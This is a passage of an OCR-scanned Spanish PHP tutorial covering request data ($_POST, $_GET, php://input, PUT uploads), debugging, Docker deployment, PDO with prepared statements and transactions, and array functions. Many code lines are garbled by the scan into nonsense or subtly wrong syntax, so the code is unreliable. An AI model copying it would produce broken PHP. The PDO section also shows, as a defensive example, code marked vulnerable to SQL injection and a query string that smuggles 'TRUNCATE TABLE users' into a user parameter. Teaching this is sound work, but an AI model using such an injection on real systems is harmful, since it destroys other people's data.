$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the 


file input in your form 
switch ($fileError) ( 
PLOAD_ERR_INI_SIZE: 


// Exceeds max size in php.ini 


Case 


break; 
UPLOAD_ERR_PARTIAL: 
// Exceeds max size in html form 


break; 
UPLOAD_ERR_NO_FILE: 
// No file was uploaded 


UPLOAD_ERR_NO_TMP_DIR: 
¿O fem ¿bli to welte to 


break; 
Case UPLOAD_ERR_CANT_WRITE: 
// Error writing to disk 


break; 
default: 
// No error was faced! Phew! 


break; 


Lectura de datos POST 


Los datos de una solicitud POST se almacenan en el superglobal s_posr en forma de una matriz 
asociativa. 


Tenga en cuenta que el acceso a un elemento de una matriz no existente genera un aviso, por lo 
que la existencia siempre debe verificarse con las isset () O empty () , O el operador de fusión nula. 


Ejemplo: 
Sfrom = isset($_POST["name"]) ? $_POST["name"] : "NO NAME"; 
$message = isset ($_POST["message"]) ? $_POST["message"] : "NO MESSAGE"; 


echo "Message from $from: $message"; 


7.0 


Siúzoa = Jste 22 WNO NAM Lo 
$message = $_POST["message"] 77? "NO MESSAGE"; 


echo "Message from $from: $message"; 


Leyendo datos GET 


Los datos de una solicitud GET se almacenan en el superglobal s_cer en forma de una matriz 
asociativa. 


Tenga en cuenta que el acceso a un elemento de una matriz no existente genera un aviso, por lo 
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que la existencia siempre debe verificarse con laS isset () O empty () , O el operador de fusión nula. 


Ejemplo: (para URL /topics.php?author=alicestopic=php ) 


Sauthiori Mis ser ((SuGEn Mauehor SC E Na ttho a NO RA UTEORY: 
Stoyle = isscr (8 Car [egsie]) Y S Gr ["egsle"] s “NO TOSICUE 


echo "Showing posts from Sauthor about S$topic"; 


7.0 


Sauthor SEGRE autor e UNO RATE Ou: 
Stoulle = $ cur [Mroslier] E UNO TOY, 


echo "Showing posts from Sauthor about S$topic"; 


Lectura de datos POST sin procesar 


Generalmente, los datos enviados en una solicitud POST son pares de clave / valor estructurados 
con un tipo MIME de application/x-www-form-urlencoded . Sin embargo, muchas aplicaciones, 
como los servicios web, requieren que se envíen datos sin procesar, a menudo en formato XML o 
JSON. Estos datos se pueden leer usando uno de dos métodos. 


php: //input es Una secuencia que proporciona acceso al cuerpo de solicitud sin formato. 


Srawdata = file _get_contents ("php://input"); 
// Let's say we got JSON 
Sdecoded = json_decode (Srawdata) ; 


5.6 


SHTTP_RAW_POST_DATA €S Una Variable global que contiene los datos POST sin procesar. Solo está 
disponible si la directiva always _populate_raw_post_data €N php.ini está habilitada. 


$rawdata = SHTTP_RAW_POST_DATA; 
// Or maybe we get XML 
Sdecoded = simplexml_load_string($rawdata); 


Esta variable ha quedado en desuso desde la versión 5.6 de PHP y se eliminó en PHP 7.0. 


Tenga en cuenta que ninguno de estos métodos está disponible cuando el tipo de contenido se 
establece en multipart/form-data , qUe se utiliza para cargar archivos. 


Subiendo archivos con HTTP PUT 
PHP proporciona soporte para el método HTTP PUT utilizado por algunos clientes para 
almacenar archivos en un servidor. Las solicitudes PUT son mucho más simples que una carga 


de archivos usando solicitudes POST y se ven algo así: 


PUT /path/filename.html HTTP/1.1 


https://riptutorial.com/es/nome 143 


En tu código PHP entonces harías algo como esto: 


<?php 
/* PUT data comes in on the stdin stream */ 
Sjvicosica = ora (Mass ao o, Wii 


/* Open a file for writing */ 
Sfp = fopen("putfile.ext", "w"); 


/* Read the data 1 KB at a time 
and write to the file */ 

while ($data = fread ($putdata, 1024)) 
fwrite($fp, $data); 


/* Close the streams */ 
fclose ($fp); 

fclose ($putdata); 

ES 


También aquí puede leer interesantes preguntas / respuestas SO sobre recibir archivos a través 
de HTTP PUT. 


Pasando matrices por POST 


Generalmente, un elemento de formulario HTML enviado a PHP da como resultado un solo valor. 
Por ejemplo: 


<pre> 

<a orale 2 (08 OST) y E> 

</pre> 

<form method="post"> 
<input type="hidden" name="foo" value="bar"/> 
<button type="submit ">Submit</button> 

</form> 


Esto resulta en el siguiente resultado: 


Array 
( 


[foo] => bar 


Sin embargo, puede haber casos en los que desee pasar una matriz de valores. Esto se puede 
hacer agregando un sufijo similar a PHP al nombre de los elementos HTML: 


<pre> 
<a prlme_ ió (8 POST) ES 
</pre> 
<form method="post"> 
<input type="hidden" name="foo[]" value="bar"/> 


<input type="hidden" name="foo[]" value="baz"/> 
<button type="submit ">Submit</button> 
</form> 
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Esto resulta en el siguiente resultado: 


Array 
( 
[Edo => ¿Azizey 
( 
[0] => bar 
[1] => baz 


También puede especificar los índices de matriz, como números o cadenas: 


SPEES 
<p orale i2 (08 OST) y E> 
</pre> 
<form method="post"> 
<input type="hidden" name="foo0[42]" value="bar"/> 


<input type="hidden" name="foo[foo]" value="baz"/> 
<button type="submit ">Submit</button> 
</form> 


Lo que devuelve esta salida: 


Array 
( 
[foo] => Array 
( 
[42] => bar 
[foo] => baz 


Esta técnica se puede usar para evitar lapsos de post-procesamiento sobre la matriz $_rosrT , 
haciendo que su código sea más simple y conciso. 


Lea Datos de solicitud de lectura en línea: https://riptutorial.com/es/php/topic/2668/datos-de- 
solicitud-de-lectura 
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Capítulo 32: Depuración 


Examples 


Variables de dumping 
La función var dump permite volcar el contenido de una variable (tipo y valor) para la depuración. 
Ejemplo: 


Sensiay = [5,7 "sexi", 10, (Maslilo" => mwrslcw], feilse, nen Darcctiaeci0 if 
var_dump ($array); 


Salida: 


seso (9) “seslnmg" 


array(1) ( 
"hello"]=> 
Ejerce (a) yor leal” 
) 
[4]=> 

bool (false) 

La=> 

object (DateTime)+1 (3) ( 

"date"]=> 

sexi (20) “201507224 133207. 00000 
"timezone_type"]=> 


int (3) 
"timezone"]=> 
string(13) "Europe/Berlin" 


Mostrando errores 


Si desea que PHP muestre errores de tiempo de ejecución en la página, debe habilitar 
display_errors , ya Sea en pnp.ini O usando la función ini ser . 


Puede elegir qué errores mostrar, con la función error_reporting (o ini), que acepta las constantes 
É_*, combinadas usando operadores bitwise . 


PHP puede mostrar errores en formato de texto o HTML, dependiendo de la configuración 


html_errors + 
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Ejemplo: 


ini_set("display_errors", true); 

da se (Maca eros, False), // Diisoleyy Gissojes dín Olea ee 
error_reporting(E_ALL £ -E_USER_NOTICE); // Display everything except E_USER_NOTICE 
wise ciaaoa (Mae less curo) Y TA USAR NOME 

echo $nonexistentVariable; // E_NOTICE 

nonexistentEFunction(); // E_ERROR 


Salida de texto sin formato : (el formato HTML difiere entre las implementaciones) 


Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7 


Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in 
/path/to/file.php:8 
Stack trace: 
+0 (main) 
thrown in /path/to/file.php on line 8 


NOTA: Si tiene el informe de errores deshabilitado en php.ini y lo habilita durante el 
tiempo de ejecución, algunos errores (como los errores de análisis) no se mostrarán, 
ya que ocurrieron antes de que se aplicara la configuración de tiempo de ejecución. 


La forma común de manejar error_reporting es habilitarlo completamente con la constante z_a11 
durante el desarrollo, y deshabilitar mostrarlo públicamente con display_errors en la etapa de 
producción para ocultar las partes internas de sus scripts. 


phpinfo () 


Advertencia 


Es imperativo que pneinsto Solo se use en un entorno de desarrollo. Nunca libere el código 
que contiene pnpinso en un entorno de producción 


Introducción 


Dicho esto, puede ser una herramienta útil para comprender el entorno PHP (SO, configuración, 
versiones, rutas, módulos) en el que está trabajando, especialmente cuando persigue un error. Es 
una simple función incorporada: 


phpinfo(); 
Tiene un parámetro swnat que permite personalizar la salida. El valor predeterminado es inro_azz. , 


lo que hace que muestre toda la información y se usa comúnmente durante el desarrollo para ver 
el estado actual de PHP. 


Puede pasar las constantes del parámetro io + , combinadas con operadores bitwise para ver 
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una lista personalizada. 


Puede ejecutarlo en el navegador para una apariencia detallada bien formateada. También 
funciona en PHP CLI, donde puede canalizarlo a 1ess para una vista más fácil. 


Ejemplo 


phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES); 


Esto mostrará una lista de directivas de PHP ( ini get ), entorno (+ .xv ) y variables predefinidas . 


Xdebuy 


Xdebug es una extensión de PHP que proporciona capacidades de depuración y creación de 
perfiles. 
Utiliza el protocolo de depuración DBGp. 


Hay algunas características agradables en esta herramienta: 


* apilar trazas de errores 

» Máxima protección de nivel de anidación y seguimiento del tiempo. 

* Reemplazo útil de la función var_dump () estándar para mostrar variables 

* permite registrar todas las llamadas de función, incluidos los parámetros y devolver valores 
a un archivo en diferentes formatos 

+ análisis de cobertura de código 

* información de perfil 

+ depuración remota (proporciona una interfaz para los clientes del depurador que interactúan 
con scripts PHP en ejecución) 


Como puede ver, esta extensión es perfectamente adecuada para el entorno de desarrollo. 
Especialmente la función de depuración remota puede ayudarlo a depurar su código php sin 
numerosos var_dump y usar el proceso de depuración normal como en los c++ O Java . 


Generalmente la instalación de esta extensión es muy simple: 


pecl install xdebug + install from pecl/pear 


Y activalo en tu php.ini: 


zend_extension="/usr/local/php/modules/xdebug.so" 


En casos más complicados ver estas instrucciones. 


Cuando uses esta herramienta debes recordar que: 
XDebug no es adecuado para entornos de producción 
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phpversion () 


Introducción 


Cuando se trabaja con varias bibliotecas y sus requisitos asociados, a menudo es necesario 
conocer la versión del analizador PHP actual o uno de sus paquetes. 


Esta función acepta un único parámetro opcional en forma de nombre de extensión: 
phpversion('extension') . Si la extensión en cuestión está instalada, la función devolverá una 
cadena que contiene el valor de la versión. Sin embargo, si la extensión no instalada ra1sz será 
devuelta. Si no se proporciona el nombre de la extensión, la función devolverá la versión del 
propio analizador PHP. 


print "Current PHP version: " . phpversion(); 

// Current PHP version: 7.0.8 

prime "Cuisine CUR versiloms Y. vlmovesrsiona( “em” )9 
IN Cirene Curl versions 7.058 


UY az 


// false, no printed output if package is missing 


Informe de errores (utilícelos ambos) 


// this sets the configuration option for your environment 
da sere (eaisaley errors, Yi) 


IU al oy EU. ejemojes o ls asajoojarcol 
error_reporting(-1); 


Lea Depuración en línea: https://riptutorial.com/es/php/topic/3339/depuracion 
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Capítulo 33: Despliegue de Docker 


Introducción 


Docker es una solución de contenedor muy popular que se usa ampliamente para implementar 
código en entornos de producción. Facilita la administración y escalado de aplicaciones web y 
microservicios. 


Observaciones 


Este documento asume que la ventana acoplable está instalada y el daemon en ejecución. Puede 
consultar la instalación de Docker para verificar cómo instalar la misma. 


Examples 


Obtener imagen docker para php 


Para implementar la aplicación en la ventana acoplable, primero necesitamos obtener la imagen 
del registro. 


docker pull php 


Esto te dará la última versión de la imagen del repositorio oficial de php . En términos generales, 
pap generalmente se usa para implementar aplicaciones web, por lo que necesitamos un servidor 
http para ir con la imagen. pnp:7.0-apache imagen de php: 7.0-apache Viene preinstalada con apache 
para que la implementación sea sencilla. 


Escritura dockerfile 


Dockerfi1le se utiliza para configurar la imagen personalizada que construiremos con los códigos 
de la aplicación web. Cree un nuevo archivo bockersi1e en la carpeta raíz del proyecto y luego 
coloque los siguientes contenidos en el mismo 


FROM php:7.0-apache 

COPY /etc/php/php.ini /usr/local/etc/php/ 
COPY . /var/www/html/ 

EXPOSE 80 


La primera línea es bastante sencilla y se usa para describir qué imagen se debe usar para 
construir una nueva imagen. Lo mismo podría cambiarse a cualquier otra versión específica de 
PHP desde el registro. 


La segunda línea es simplemente subir el archivo pnp.ini a nuestra imagen. Siempre puede 
cambiar ese archivo a otra ubicación de archivo personalizado. 


https://riptutorial.com/es/nome 150 


La tercera línea copiaría los códigos en el directorio actual a /var/www/htm1 qUe es nuestro 
webroot. Recuerda /var/www/ntm1 dentro de la imagen. 


La última línea simplemente abriría el puerto 80 dentro del contenedor de la ventana acoplable. 


Ignorando archivos 


En algunos casos, es posible que haya algunos archivos que no desea en el servidor, como la 
configuración del entorno, etc. Supongamos que tenemos nuestro entorno en .env . Ahora, para 
ignorar este archivo, simplemente podemos agregarlo a .dockerignore en la carpeta raíz de 
nuestro código base. 

Imagen del edificio 


Crear una imagen no es algo específico de pnp , pero para construir la imagen que describimos 
anteriormente, simplemente podemos usar 


docker build -t <Image name> . 

Una vez que la imagen está construida, puedes verificar la misma usando 
docker images 

Lo que enumera todas las imágenes instaladas en su sistema. 

Iniciar contenedor de aplicaciones 


Una vez que tengamos una imagen lista, podemos comenzar y servir la misma. Para crear un 
container partir de la imagen, use 


docker run -p 80:80 -d <Image name> 
En el comando anterior, -+ 80:80 reenvía el puerto so de su servidor al puerto so del contenedor. 


La bandera -a indica que el contenedor debe ejecutarse como trabajo de fondo. El final especifica 
qué imagen debe usarse para construir el contenedor. 


Contenedor de control 
Para verificar los contenedores en funcionamiento, simplemente use 


docker ps 


Esto mostrará una lista de todos los contenedores que se ejecutan en el demonio docker. 


Registros de aplicación 
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Los registros son muy importantes para depurar la aplicación. Para comprobar su uso. 


docker logs <Container id> 


Lea Despliegue de Docker en línea: https://riptutorial.com/es/php/topic/9327/despliegue-de-docker 
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Capítulo 34: DOP 


Introducción 


La extensión PDO (PHP Data Objects) permite a los desarrolladores conectarse a numerosos 
tipos diferentes de bases de datos y ejecutar consultas contra ellos de manera uniforme y 
orientada a objetos. 


Sintaxis 


* PDO::LastInsertla() 
* PDO::Lastinsertid(ScolumnName) // algunos controladores necesitan el nombre de columna 


Observaciones 


Advertencia No deje de verificar las excepciones mientras Usa 1astinsertra() . Puede lanzar el 
siguiente error: 


SQLSTATE IMO0O01: el controlador no admite esta función 


Aquí es cómo debe verificar adecuadamente las excepciones utilizando este método: 


// Retrieving the last inserted id 
Sátel = muii, 


121537 

Sid = $pdo->lastInsertlId(); // return value is an integer 
) 
catch( PDOException $e ) ( 


cho $e->getMessagel(); 
) 


Examples 


Conexión y recuperación de PDO básica 


Desde PHP 5.0, PDO ha estado disponible como una capa de acceso a la base de datos. Es 
independiente de la base de datos, por lo que el siguiente código de ejemplo de conexión debería 
funcionar para cualquiera de sus bases de datos compatibles simplemente cambiando el DSN. 


// First, create the database handle 


//UÚsing MySQL (connection via local socket): 
Sdsn = "mysql:host=1o0calhost;¡dbname=testdb;charset=utf8"; 


//UÚsing MySQL (connection via network, optionally you can specify the port too): 
//Sdsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;¡charset=ut£8"; 
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//Or Postgres 
//$dsn = "pgsql:host=l1ocalhost;port=5432;dbname=testdb;"; 


//Or even SOLite 


//$dsn = "sqlite:/path/to/database" 
Susername = "user"; 
Spassword = "pass"; 


Sdb = new PDO($dsn, Susername, $password); 


// setup PDO to throw an exception if an invalid query is provided 
Sdb->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 


// Next, let's prepare a statement for execution, with a single placeholder 
Squery = "SELECT * FROM users WHERE class = ?"; 
Sstatement Sdb->prepare ($query); 


// Create some parameters to fill the placeholders, and execute the statement 


Sparameters = [ "221B" ]; 


$statement->execute ($parameters); 


// Now, loop through each record as an associative array 
while ($row = $statement->fetch(PDO: :FETCH_ASSOC)) ( 
do_stuff ($row); 


La función de prepare crea un objeto pnostatement partir de la cadena de consulta. La ejecución de 
la consulta y la recuperación de los resultados se realizan en este objeto devuelto. En caso de 
una falla, la función devuelve false O lanza Una exception (dependiendo de cómo se configuró la 
conexión PDO). 


Prevención de la inyección SQL con consultas parametrizadas 
La inyección SQL es un tipo de ataque que permite a un usuario malintencionado modificar la 
consulta SQL, agregándole comandos no deseados. Por ejemplo, el siguiente código es 


vulnerable : 


// Do not use this vulnerable code! 
$sql = 'SELECT name, email, user_level FROM users WHERE userIlD = ' . $_GET['user']; 


Sconn->query ($sql) ; 


Esto permite a cualquier usuario de este script modificar nuestra base de datos básicamente a 
voluntad. Por ejemplo, considere la siguiente cadena de consulta: 


page .php?user=0;$20TRUNCATES20TABLES20users; 


Esto hace que nuestra consulta de ejemplo se vea así. 


SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users; 


Si bien este es un ejemplo extremo (la mayoría de los ataques de inyección de SQL no pretenden 
eliminar datos, ni la mayoría de las funciones de ejecución de consultas de PHP son compatibles 
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con las consultas múltiples), este es un ejemplo de cómo un ataque de inyección de SQL puede 
ser posible por el montaje descuidado de la consulta. Desafortunadamente, los ataques de este 
tipo son muy comunes y son altamente efectivos debido a los codificadores que no toman las 
precauciones adecuadas para proteger sus datos. 


Para evitar que se produzca la inyección de SQL, las declaraciones preparadas son la solución 
recomendada. En lugar de concatenar datos de usuario directamente a la consulta, se utiliza un 
marcador de posición en su lugar. Los datos se envían por separado, lo que significa que no hay 
posibilidad de que el motor de SQL confunda los datos del usuario para un conjunto de 
instrucciones. 


Si bien el tema aquí es PDO, tenga en cuenta que la extensión MySQLi de PHP 
también admite declaraciones preparadas 


PDO admite dos tipos de marcadores de posición (los marcadores de posición no se pueden usar 
para nombres de columnas o tablas, solo valores): 


1. Nombrados marcadores de posición. Un colon ( : ), seguido por un nombre distinto (por 
ejemplo. :user ) 


// using named placeholders 


$sql = 'SELECT name, email, user_level FROM users WHERE userIlD = :user'; 


Sprep Sconn->prepare ($sql); 


Sprep->execute(['user' => $_GET['user']]); // associative array 
$result = $prep->fetchAll (); 


2. Marcadores de posición posicionales de SQL tradicionales, representados como > : 


// using question-mark placeholders 


$sql = 'SELECT name, user_level FROM users WHERE userIlD = ? AND user_level = ?2'; 


Sprep Sconn->prepare ($sql); 


Sprep->execute([$_GET['user'], $_GET['user_level']]1); // indexed array 
$result = $prep->fetchAll (); 


Si alguna vez necesita cambiar dinámicamente los nombres de tablas o columnas, sepa que esto 
es responsabilidad de su propio riesgo y una mala práctica. Sin embargo, se puede hacer por 
concatenación de cuerdas. Una forma de mejorar la seguridad de dichas consultas es establecer 
una tabla de valores permitidos y comparar el valor que desea concatenar con esta tabla. 


Tenga en cuenta que es importante establecer el conjunto de caracteres de la conexión solo a 
través de DSN, de lo contrario, su aplicación podría estar expuesta a una vulnerabilidad poco 
clara si se utiliza alguna codificación impar. Para versiones PDO anteriores a 5.3.6, la 
configuración del conjunto de caracteres a través de DSN no está disponible y, por lo tanto, la 
única opción es establecer el atributo poo: :ATTR_EMULATE_PREPARES ON false en la conexión 
inmediatamente después de su creación. 


Sconn->setAttribute(PDO: :ATTR_EMULATE_PREPARES, false); 


Esto hace que PDO utilice las declaraciones preparadas nativas del DBMS subyacente en lugar 
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de simplemente emularlo. 


Sin embargo, tenga en cuenta que la DOP retrocederá silenciosamente para emular las 
declaraciones que MySQL no puede preparar de forma nativa: las que pueden aparecer en el 
manual ( fuente ). 


DOP: conexión a servidor MySQL / MariaDB 


Hay dos formas de conectarse a un servidor MySQL / MariaDB, dependiendo de su 
infraestructura. 


Conexión estándar (TCP / IP) 


$dsn = 'mysql:dbname=demo;host=server;¡port=3306;charset=utf8'; 
Sconnection = new XAPDO($dsn, $username, $password); 


// throw exceptions, when SQL error is caused 

Sconnection->setAttribute (APDO: : ATTR_ERRMODE, XPDO: :ERRMODE_EXCEPTION); 
// prevent emulation of prepared statements 
Sconnection->setAttribute(1PDO::ATTR_EMULATE_PREPARES, false); 


Dado que PDO fue diseñado para ser compatible con versiones anteriores del servidor MySQL 
(que no tenía soporte para sentencias preparadas), debe deshabilitar explícitamente la emulación. 
De lo contrario, perderá los beneficios adicionales de prevención de inyecciones , que 
generalmente se otorgan utilizando declaraciones preparadas. 


Otro compromiso de diseño, que debe tener en cuenta, es el comportamiento de manejo de 
errores predeterminado. Si no se configura de otra manera, PDO no mostrará ninguna indicación 
de errores de SQL. 


Se recomienda encarecidamente configurarlo en "modo de excepción", porque eso le otorga una 
funcionalidad adicional al escribir abstracciones de persistencia (por ejemplo: tener una 
excepción, al violar la restricción uxzouz ). 


Conexión de zócalo 


Sdsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8'; 
Sconnection = new XPDO($dsn, $username, S$password); 


// throw exceptions, when SQL error is caused 

Sconnection->setAttribute (APDO: : ATTR_ERRMODE, XPDO: :ERRMODE_EXCEPTION); 
// prevent emulation of prepared statements 
Sconnection->setAttribute(1PDO::ATTR_EMULATE_PREPARES, false); 


En sistemas similares a Unix, si el nombre de host es 'localhost' , entonces la conexión al 
servidor se realiza a través de un socket de dominio. 
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Transacciones de base de datos con DOP 


Las transacciones de la base de datos aseguran que un conjunto de cambios en los datos solo se 
harán permanentes si cada declaración es exitosa. Se puede detectar cualquier error de consulta 
o código durante una transacción y, a continuación, tiene la opción de revertir los cambios 
intentados. 


La DOP proporciona métodos simples para iniciar, confirmar y revertir transacciones. 


Spdo = new PDO( 
Sdsn, 
Susername, 
Spassword, 
array(PDO: :ATTR_ERRMODE => PDO: :ERRMODE_EXCEPTION) 


try 1 
Sstatement Spdo->prepare ("UPDATE user SET name = :name"); 


Spdo->beginTransaction (); 


Sstatement->execute(["name"=>'Bob']); 
Sstatement->execute (["name"=>'Joe']); 


$pdo->commit (); 
) 


cateh (NException se) ( 


if (Spdo->inTransaction()) ( 
Spdo->rollback () ; 
// 1f we got here our two data updates are not in the database 


) 


throw $e; 


Durante una transacción, los cambios de datos realizados solo son visibles para la conexión 
activa. seLecr instrucciones sezecT devolverán los cambios modificados incluso si aún no están 
comprometidos con la base de datos. 


Nota : consulte la documentación del proveedor de la base de datos para obtener detalles sobre 
el soporte de transacciones. Algunos sistemas no admiten transacciones en absoluto. Algunos 
admiten transacciones anidadas, mientras que otros no. 


Ejemplo práctico del uso de transacciones con DOP 


En la siguiente sección se muestra un ejemplo práctico del mundo real donde el uso de 
transacciones garantiza la consistencia de la base de datos. 


Imagine el siguiente escenario, digamos que está construyendo un carrito de compras para un 
sitio web de comercio electrónico y decidió mantener los pedidos en dos tablas de base de datos. 
Una orders nombrada con los Campos order_id , name , address , telephone Y created_at . Y una 
segunda llamada orders_products CON lOS CAMPOS order_id , product_id Y quantity . La primera 
tabla contiene los metadatos del pedido, mientras que la segunda contiene los productos reales 
que se han pedido. 
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Inserción de un nuevo pedido en la base de datos. 


Para insertar un nuevo pedido en la base de datos debe hacer dos cosas. Primero necesita IsserT 
un nuevo registro dentro de la tabla de orders que contendrá los metadatos del pedido ( name , 
address , etc.). Y luego necesita ixserrT Un registro en la tabla orders products , para cada uno de 
los productos que se incluyen en el pedido. 


Puedes hacer esto haciendo algo similar a lo siguiente: 


// Insert the metadata of the order into the database 

SpreparedStatement Sdb->prepare ( 
"INSERT INTO "orders (' name”, "address, "telephone, 'created_at') 
VALUES (:name, :address, :telephone, :created_at)' 


); 


SpreparedStatement->execute ( [ 
'name' => fname, 
"address' => Saddress, 
'telephone' => $telephone, 
'created_at' => time(), 


D; 


// Get the generated 'order_id'” 
Sorderld = $db->lastInsertld(); 


// Construct the query for inserting the products of the order 


SinsertProductsQuery = 'INSERT INTO "orders _products' ('order_id', 'product_id., 'quantity' ) 
VALUES"; 
Scount = 0; 
foreach ( $products as S$productld => $quantity ) ( 
Siaserurrocuer Query == Y (porel o” . Seoumia y. y Sorocuee_ el . Scoume ». Y, Seuameley" 
s Eecuimie . Y)", 
SinsertProductsParams['order_id' . $count] = $orderld; 
SinsertProductsParams['product_id' . $count] = $productld; 
SinsertProductsParams['quantity' . $count] = $quantity; 
++Scount; 


) 


// Insert the products included in the order into the database 


SpreparedStatement Sdb->prepare ($insertProductsQuery); 


SpreparedStatement->execute ($insertProductsParams); 


Esto funcionará muy bien para insertar un nuevo pedido en la base de datos, hasta que ocurra 
algo inesperado y, por alguna razón, la segunda consulta iwserr falle. Si eso sucede, terminará 
con un nuevo pedido dentro de la tabla de orders , que no tendrá productos asociados. 
Afortunadamente, la solución es muy simple, todo lo que tiene que hacer es hacer las consultas 
en forma de una sola transacción de base de datos. 


Inserción de un nuevo pedido en la base de datos con una transacción 


Para iniciar una transacción utilizando »vo todo lo que tiene que hacer es llamar al método 
beginTransaction antes de ejecutar cualquier consulta en su base de datos. Luego, realice los 
cambios que desee en sus datos ejecutando las consultas inserT y / O uppate . Y, finalmente, se 
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llama al método commit del objeto »vo para que los cambios sean permanentes. Hasta que llame al 
método de commit , todos los cambios que haya realizado en sus datos hasta este momento aún 
no son permanentes, y pueden revertirse fácilmente simplemente llamando al método de ro11back 
del objeto eno . 


En el siguiente ejemplo, se muestra el uso de transacciones para insertar un nuevo pedido en la 
base de datos, al tiempo que se garantiza la coherencia de los datos. Si una de las dos consultas 
falla, todos los cambios serán revertidos. 


// In this example we are using MySQL but this applies to any database that has support for 
transactions 

Sdb = new PDO('mysql:host=' . $host . '¡dbname=' . Sdbname . ';¡charset=utf8', Susername, 
Spassword); 


// Make sure that PDO will throw an exception in case of error to make error handling easier 
Sdb->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 


try ( 
// From this point and until the transaction is being committed every change to the 
database Can be reverted 


Sdb->beginTransaction(); 


// Insert the metadata of the order into the database 


SpreparedStatement Sdb->prepare ( 
"INSERT INTO "orders ('order_id', "name, 'address', 'created_at') 
VALUES (:name, :address, :telephone, :created_at)' 


5 


SpreparedStatement->execute ( [ 
'name' => S$name, 
"address' => Saddress, 
'telephone' => $telephone, 
'created_at' => time(), 


D; 


// Get the generated 'order_id” 
Sorderld = $db->lastInsertld(); 


// Construct the query for inserting the products of the order 
SinsertProductsQuery = 'INSERT INTO "orders products” ('order_id', 'product_id', 
“quantity') VALUES'; 


Scount = 0; 

foreach ( $products as S$productld => $quantity ) ( 
Sida sia roce aci == Y (Borelsis le” . Scoume y. y ajproe le . Seoume . Y, 

once Sea . 1)" 

SinsertProductsParams['order_id' . $count] = $orderld; 
SinsertProductsParams['product_id' . $count] = $productld; 
SinsertProductsParams['quantity' . $count] = $quantity; 
FESCOUNE + 


// Insert the products included in the order into the database 
SpreparedStatement Sdb->prepare ($insertProductsQuery); 
SpreparedStatement->execute ($insertProductsParams); 


// Make the changes to the database permanent 
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Sdb->commit (); 
) 
catch ( PDOException $e ) ( 
// Failed to insert the order into the database so we rollback any changes 
Sdb=>rollback (); 
throw $e; 


DOP: obtener el número de filas afectadas por una consulta 


Comenzamos con sa» , Una instancia de la clase PDO. Después de ejecutar una consulta, a 
menudo queremos determinar el número de filas que se han visto afectadas por ella. El método 
rowCount () de pnostatement funcionará bien: 


$query = $db->query ("DELETE FROM table WHERE name = 'John'"); 
Scount = $query->rowCount (); 


echo "Deleted $count rows named John"; 


NOTA: este método solo se debe usar para determinar el número de filas afectadas por las 
instrucciones INSERT, DELETE y UPDATE. Aunque este método también puede funcionar para 
sentencias SELECT, no es consistente en todas las bases de datos. 


DOP :: lastinsertld () 


A menudo puede encontrar la necesidad de obtener el valor de ID incrementado automáticamente 
para una fila que acaba de insertar en su tabla de base de datos. Puedes lograr esto con el 
método lastInsertld (). 


// 1. Basic connection opening (for MySQL) 

Saiose = “locallaose 

Sdatabase = "oo"; 

Suser = 'root' 

Pass monde 

Sdsn = "mysql: host=$host¡dbname=$database;charset=utf8"; 
Spdo = new PDO($dsn, Suser, S$password); 


// 2. Inserting an entry in the hypothetical table 'foo_user' 


Squery = "INSERT INTO foo_user (pseudo, email) VALUES ('anonymous', 'anonymoustexample.com')"; 


Squery_success Spdo->query ($query) ; 


// 3. Retrieving the last inserted id 
Sid = $pdo->lastInsertld(); // return value is an integer 


En postgresql y oracle, está la palabra clave RETURNING, que devuelve las columnas 
especificadas de las filas actualmente insertadas / modificadas. Aquí el ejemplo para insertar una 
entrada: 


// 1. Basic connection opening (for PGSOL) 
Saiose = “locaillaosie 

Sdatabase = oo!” 

Suser = 'root' 

Spassword = ''; 
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$dsn = "pgsql:host=$host;dbname=$database;charset=utf8"; 


Spdo = new PDO($dsn, $user, $password); 

// 2. Inserting an entry in the hypothetical table 'foo_user' 
Squery = "INSERT INTO foo_user (pseudo, email) VALUES ('anonymous', 
RETURNING id"; 

Sstatement Spdo->query ($query) ; 

// 3. Retrieving the last inserted id 

Sid = $statement->fetchColumn(); // return the valu 


foo_user 


'"anonymoustexample.com') 


of the id column of the new row in 


Lea DOP en línea: https://riptutorial.com/es/php/topic/5828/dop 
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Capítulo 35: Ejecutando sobre una matriz 


Examples 


Aplicando una función a cada elemento de una matriz. 


Para aplicar una función a cada elemento de una matriz, US€ array_map () . Esto devolverá una 
nueva matriz. 


Sentiay = alxzray (ly 2 3 LD) 
//each array item is iterated over and gets stored in the function parameter. 
SnewArray = array_map(function(S$item) ( 
cEculaa Siles e il 
la Series) 


SnewArray ahora es array (2,3,4,5,6)5 + 


En lugar de usar una función anónima , podría usar una función nombrada. Lo anterior podría 
escribirse como: 


function addOne ($item) ( 
return S$item + 1; 


) 


Sensisasy = axzrey ll, E 30 Lo De 
SnewArray = array_map('addOne', Sarray); 


Si la función nombrada es un método de clase, la llamada de la función debe incluir una 
referencia a un objeto de clase al que pertenece el método: 


class Example ( 
public function addOne ($item) ( 
return $item + 1; 


) 


polis Euacrcioa cecalcolaciona (O ( 
Sense = expre, Le Sy Ue Di 
SnewArray = array_map(array ($this, 'addOne'), Sarray); 


Otra forma de aplicar una función a cada elemento de una matriz €S array_wa1k () Y 
array_walk_recursive() . La devolución de llamada pasada a estas funciones toma tanto la clave / 
índice como el valor de cada elemento de la matriz. Estas funciones no devolverán una nueva 
matriz, en lugar de un booleano para el éxito. Por ejemplo, para imprimir cada elemento en una 
matriz simple: 


Selzizay = era (lo 20 e Lo DD) 
array_walk($array, function($value, $key) ( 
clas welue , Y Y 
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»; 
I/ mirimes "1 2 5 4 5 


El parámetro de valor de la devolución de llamada se puede pasar por referencia, lo que le 
permite cambiar el valor directamente en la matriz original: 


Selaizany = clean, y Sy Uy De 

array_walk(S$array, function(8$value, $key) ( 
Svalue++; 

Y; 


Sarray ahora es array (2,3,4,5,6)5 
Para matrices anidadas, array_walk_recursive () irá más profundo en cada sub-matriz: 


Sense = era (1, array, 3 erre Dl De 
array_walk_recursive ($array, function($value, $key) ( 
ciao velue . Y Y 


y; 
Il oriaics "123545 


Nota : array_walk Y array_walk_recursive permiten cambiar el valor de los elementos de la matriz, 
